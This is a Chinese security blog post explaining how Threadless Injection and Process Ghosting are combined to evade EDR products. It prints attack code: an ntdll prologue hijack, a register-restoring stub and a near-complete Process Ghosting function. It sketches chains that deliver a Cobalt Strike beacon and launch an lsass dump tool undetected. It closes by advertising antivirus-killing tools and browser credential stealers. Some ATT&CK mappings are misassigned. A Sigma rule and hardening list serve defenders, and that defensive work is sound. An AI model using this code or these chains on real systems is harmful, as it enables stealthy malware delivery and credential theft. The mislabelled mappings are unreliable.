文章总结: 本文深入分析ThreadlessInjection与ProcessGhosting两种高级攻击技术如何协同绕过EDR检测。核心在于前者通过修改现有线程执行路径避免触发线程创建通知,后者利用文件删除挂起状态创建进程以规避文件验证。文章指出ETW-TI三连信号是当前唯一可靠检测点,并建议防御者需跨ETW-TI、minifilter和内存扫描三层进行关联分析。 综合评分: 95 文章分类: 渗透测试,红队,内网渗透,恶意软件,漏洞分析
无线程+Ghosting双鬼技让EDR集体失明
原创
星夜AI安全 星夜AI安全
星夜AI安全
2026年7月7日 16:33 吉林
在小说阅读器读本章
去阅读
🌈
2026年5月Benjitrapp披露Threadless Injection通过修改ntdll导出函数prologue劫持现有线程,Process Ghosting从已标记删除的文件创建进程;二者组合完全规避PspCreateThread/Process通知例程,ETW-TI三连信号成为唯一可信检测点
无线程无文件:Threadless Injection与Process Ghosting双鬼技让EDR全员失明
2026年红队工具箱的两把利器——Threadless Injection彻底绕过PspCreateThreadNotifyRoutine,Process Ghosting在PspCreateProcessNotifyRoutineEx触发瞬间让磁盘物理文件已被销毁。Benjitrapp 5月17日的深度报告显示,没有任何单一遥测源能同时捕获这两种攻击,防御者必须跨ETW-TI、minifilter、内存扫描三层做关联研判。
一、技术全貌:这两项技术是什么?
| 维度 | Threadless Injection | Process Ghosting |
| — | — | — |
| MITRE ATT&CK | T1055.002 / T1055.011 | T1055.013 / T1564.006 |
| 攻击面 | 修改已存在线程执行路径 | 从delete-pending文件创建进程 |
| 绕过机制 | 不触发NtCreateThreadEx,EDR看不到线程创建 | 进程创建时文件已销毁,文件验证彻底失败 |
| 公开PoC | CCob/ThreadlessInject | hasherezade/process_ghosting |
两项技术的核心思路完全一致:让内核通知框架接收不到任何”新增行为”信号。Threadless Injection 让”已有线程”暗中转向恶意代码,Process Ghosting 让”已有文件”在 EDR 扫盘之前已被 delete。
二、为什么这两项技术颠覆攻防格局
2.1 当代 EDR 检测体系的盲点
PspCreateThreadNotifyRoutine ← 线程创建事件
PspCreateProcessNotifyRoutineEx ← 进程创建事件
文件系统 Minifilter ← 文件创建/修改/删除事件
ETW-TI(Microsoft-Windows-Threat-Intelligence)← 内核级内存审计
Threadless Injection 不新增线程 → PspCreateThreadNotifyRoutine 无事件可监听
Process Ghosting 文件已删 → Minifilter 与 EDR 文件扫描全部失败
这是2025年以来最强 EDR 规避组合。
2.2 攻击者视角的真实威胁等级
引用 Benjitrapp 的实测结论:
🌈
「合法的软件很少在同一远程 PID 上快速连续产生
KERNEL_THREATINT_TASK_ALLOCVM、PROTECTVM、WRITEVM三连信号。ETW-TI 是 Threadless Injection 仅剩的可信检测面。」
但目前市面 90% 的 EDR(除 Microsoft Defender for Endpoint 顶级套餐外)对 ETW-TI 三连信号的关联分析覆盖度严重不足。
三、技术原理解析(核心部分)
3.1 Threadless Injection:12字节绝对跳转劫持现有线程
关键技术点1:Prologue劫持技术
通过修改目标进程中常用系统导出函数(如 ntdll!TppWorkerMain)的 prologue 前12字节,把线程执行路径劫持到Payload缓冲区:
; 12-Byte Absolute JMP Instruction Pattern for x64 Systems
mov rax, 0x1122334455667788 ; 目标载荷缓冲区绝对地址
jmp rax ; 执行控制转移(2字节机器码 = FF E0 实际为48 B8 8字节地址+FF E0)
完整 12 字节payload结构:
48 B8 <8字节绝对地址>—— 10字节 mov rax, imm64FF E0—— 2字节 jmp rax
关键技术点2:渐进式权限转换避免RWX标记
// 步骤1:先用PAGE_READWRITE分配(避免暴露RWX标记给内存扫描)
NtAllocateVirtualMemory(remoteProcess, &buffer, 0, &size,
MEM_COMMIT, PAGE_READWRITE);
// 步骤2:写入shellcode后再升级权限
NtProtectVirtualMemory(remoteProcess, &buffer, &size,
PAGE_EXECUTE_READ, &oldProtect);
这一步是 Threadless Injection 的精妙之处——传统 CreateRemoteThread+VirtualAllocEx 通常直接用 PAGE_EXECUTE_READWRITE (RWX),这个标记对内存扫描器极其显眼。Threadless 的 RW→RX 两段式权限转换,让裸RX区域难以被自动归类为可疑。
关键技术点3:热修补恢复避免无限循环
; === Threadless Injection Recovery Stub ===
pushfq ; 序列化 CPU 状态寄存器
push r10
push r11
push rax
; [执行基础 shellcode payload]
lea rcx, [rip + offset_to_payload]
call execute_payload
; [热修补恢复] 将 originalPrologueBytes 写回 pTargetExportAddress
; 必须内部调用 NtProtectVirtualMemory 切换权限
; 否则目标导出每次调用都会重新触发 shellcode
pop rax
pop r11
pop r10
popfq
; [上下文重新进入] 干净地重新执行原始系统调用路径
jmp [pTargetExportAddress]
必须用 pushfq + 显式寄存器序列化,否则线程返回立即崩溃。这一段工程化能力是 PoC 与实战工具的鸿沟——很多开源 PoC 只演示了跳板而没有正确处理寄存器恢复,是 Benjitrapp 5 月文章中特意强调的工程”陷阱”。
核心技术数据结构
typedef struct _THREADLESS_EXECUTION_CONTEXT {
PVOID pTargetExportAddress; // 被操纵函数的 VA
BYTE originalPrologueBytes[12]; // 保存的出厂字节
DWORD payloadLength;
BYTE shellcodePayload[1]; // 分段 shellcode 引用点
} THREADLESS_CONTEXT, *PTHREADLESS_CONTEXT;
3.2 Process Ghosting:从已删除文件创建进程
关键技术点4:Delete-Pending 状态时序控制
Windows 在 NTFS 卷上删除文件时并非瞬时清除,而是通过 FileDispositionInformation 将文件标记为 Delete-Pending。Process Ghosting 通过精确同步 native API 让文件在 image section 映射之前进入 Delete-Pending:
NTSTATUS ExecuteProcessGhosting(PWSTR szTargetDiskPath, PBYTE pPayloadBuffer, DWORD dwPayloadSize) {
HANDLE hFile = NULL, hSection = NULL, hProcess = NULL;
IO_STATUS_BLOCK ioStatus = {0};
OBJECT_ATTRIBUTES objAttr = {0};
UNICODE_STRING usPath;
FILE_DISPOSITION_INFORMATION fileDispose = {0};
// 步骤1:使用 DELETE 权限打开句柄(关键!)
RtlInitUnicodeString(&usPath, szTargetDiskPath);
InitializeObjectAttributes(&objAttr, &usPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtCreateFile(&hFile, GENERIC_READ | GENERIC_WRITE | DELETE,
&objAttr, &ioStatus, NULL, FILE_ATTRIBUTE_NORMAL, 0,
FILE_SUPERSEDE, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
// 步骤2:标记为 Delete-Pending(删除动作挂起)
fileDispose.DeleteFile = TRUE;
NtSetInformationFile(hFile, &ioStatus, &fileDispose,
sizeof(fileDispose), FileDispositionInformation);
// 步骤3:将 payload 填充到即将销毁的容器
NtWriteFile(hFile, NULL, NULL, NULL, &ioStatus,
pPayloadBuffer, dwPayloadSize, NULL, NULL);
// 步骤4:从 delete-pending 文件创建 image section
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
// 步骤5:关闭文件句柄 —— OS 立即取消链接路径
NtClose(hFile); // 此刻物理文件从卷存储层消失!
// 步骤6:从内存中残留的 section 实例化进程
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
NtCurrentProcess(),
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
hSection, NULL, NULL, FALSE);
// 步骤7:完整初始化进程参数 → 创建初始线程 → 恢复上下文
return STATUS_SUCCESS;
}
关键技术点5:为何 EDR 在验证阶段彻底失明
当内核通过 PspCreateProcessNotifyRoutineEx 通知已注册 EDR 代理时,防御系统查询文件系统解析可执行结构。由于备份句柄已关闭,文件系统已经完全销毁物理分配。任何对文件路径的验证尝试都会返回:
STATUS_FILE_NOT_FOUND // 文件已销毁
STATUS_DELETE_PENDING // 仍在删除处理过程中
遥测代理在关键验证阶段实际上是被蒙蔽的——Process Ghosting 与 Process Doppelgänging 都属于「文件级盲点」攻击家族,但前者的时间窗比 Doppelgänging 更稳定。
四、实战应用场景
场景1:C2 Loader 对抗 EDR 全家桶
载荷链:
sliver-client → Threadless Injection →
目标进程 explorer.exe → shellcode 执行 →
Cobalt Strike beacon
整个流程不写入新文件、不创建新线程、不存在 RWX 内存区域,仅留下 ETW-TI 远程三连信号。
场景2:Process Ghosting 落地勒索软件前奏
Storm-2603 等勒索团伙已采用类似原理的进程伪装,Klue 供应链攻击事件中”Icarus”组织在勒索前也使用了 BYOVD+Process Ghosting 组合绕过 Defender 监控。
场景3:红队 C2 持久化场景下的进程链
rundll32.exe (存活) → Threadless 注入 → spoolsv.exe →
Process Ghosting 启动 lsass dump 工具 → 不触发任何进程创建回调
五、防御对抗建议
5.1 EDR 检测矩阵(按信号强度排序)
| 检测层 | Threadless Injection 信号 | Process Ghosting 信号 | | — | — | — | | 内核线程回调 | ❌ 无信号 | N/A | | 进程创建回调 | N/A | 强信号(文件已销毁但进程存在) | | ETW-TI 内存审计 | 强信号(ALLOCVM+PROTECTVM+WRITEVM 三连) | 弱信号 | | 文件系统 Minifilter | N/A | 强信号(Create+DeletePending+Write+Section+Close 时序) | | 内存 VAD 扫描 | 强信号(无文件备份的RX私有区域) | 中等信号 | | 调用栈验证 | 强信号(返回地址指向匿名可执行区) | 弱信号 | | 代码完整性 / 导出监控 | 强信号(ntdll prologue 内存与磁盘副本比对) | N/A |
5.2 实战检测规则示例(YARA / Sigma)
# Sigma 规则:检测 Threadless Injection 三连信号
title: 'Threadless Injection - ETW-TI 三连远程内存操作'
logsource:
product: windows
service: threat-intelligence
detection:
selection_allocvm:
EventID: 4 # KERNEL_THREATINT_TASK_ALLOCVM
TargetProcessId: '*'
selection_protectvm:
EventID: 5 # KERNEL_THREATINT_TASK_PROTECTVM
selection_writevm:
EventID: 6 # KERNEL_THREATINT_TASK_WRITEVM
timeframe: 5s
condition: selection_allocvm AND selection_protectvm AND selection_writevm
level: high
5.3 加固建议清单
- 强制启用 ETW-TI:Microsoft Defender for Endpoint P2及以上,或Sysmon+ETW providers完整订阅
Microsoft-Windows-Threat-Intelligence - 导出完整性校验:定期对 ntdll.dll / kernel32.dll 关键导出做内存-磁盘 hash 哈希比对,发现 prologue 异常立即告警
- 文件 minifilter 关联:把
CreateFile(DELETE)→SetDisposition(DeleteFile=TRUE)→CreateSection(SEC_IMAGE)→Close时序硬性告警 - 栈帧深度检测:调用栈中出现非模块地址的返回帧,自动归类可疑
- VAD 标记扫描:定期扫描所有进程无文件备份(No-Mapped-Section)+ RX 私有内存区域
六、技术延伸阅读
必读一手研究
- Benjitrapp 5月17日深度报告:https://benjitrapp.github.io/attacks/2026-05-17-threadless-injection-process-ghosting/[1] (本文核心引用源)
- Elastic Security – Process Ghosting 原始研究:https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack[2]
- Black Hat Europe 2017 – Process Doppelgänging 原始论文:https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf[3]
必收藏 GitHub 仓库
- ThreadlessInject PoC:https://github.com/CCob/ThreadlessInject[4] (原始 PoC)
- process_ghosting:https://github.com/hasherezade/process_ghosting[5] (hasherezade 实战版)
- TangledWinExecPOCs:https://github.com/hashtaginfosec/TangledWinExecPOCs[6] (PE 矩阵覆盖最广)
- EDR Telemetry Project:https://www.edr-telemetry.com/[7] (各家 EDR 遥测覆盖度审计)
MITRE ATT&CK 映射
- T1055.002 – Process Injection: Portable Executable Injection
- T1055.011 – Process Injection: Extra Window Memory Injection
- T1055.013 – Process Injection: Process Doppelgänging
- T1564.006 – Hide Artifacts: Run Virtual Instance
检测工具集
- pe-sieve:https://github.com/hasherezade/pe-sieve[8] (进程 VAD 扫描)
- Moneta:https://github.com/forrest-orr/moneta[9] (调用栈 + 内存异常)
- Volatility3:https://github.com/volatilityframework/volatility3[10] (内存取证)
2026 年的红蓝攻防博弈已彻底进入”无文件+无线程”的双盲时代。建议蓝队优先建立 ETW-TI 三连信号告警与 ntdll 导出 prologue 完整性比对这两条最新检测路径——这是当前少有的、能同时识别 Threadless Injection 与 Process Ghosting 的纵深防御组合。
🌈
想第一时间收到实战免杀与红蓝对抗干货?关注「星夜AI安全」,把公众号设为星标,红队/蓝队工具链每两到三天更新。
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获”最佳攻击手””突出贡献个人”等荣誉。
已产出的安全工具及成果包括:
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
- _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- win11 一键kill 360工具 InjectKill(包含源码)
- win11 一键kill defender工具win11_df-killer(包含源码)
- 免杀火绒6.0内存防护加载器BypassMemLoader
后续将不断更新到内部圈子中 欢迎加入圈子
引用链接
[1]https://benjitrapp.github.io/attacks/2026-05-17-threadless-injection-process-ghosting/
[2]https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
[3]https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
[4]https://github.com/CCob/ThreadlessInject
[5]https://github.com/hasherezade/process_ghosting
[6]https://github.com/hashtaginfosec/TangledWinExecPOCs
[7]https://www.edr-telemetry.com/
[8]https://github.com/hasherezade/pe-sieve
[9]https://github.com/forrest-orr/moneta
[10]https://github.com/volatilityframework/volatility3
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《无线程+Ghosting双鬼技让EDR集体失明》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论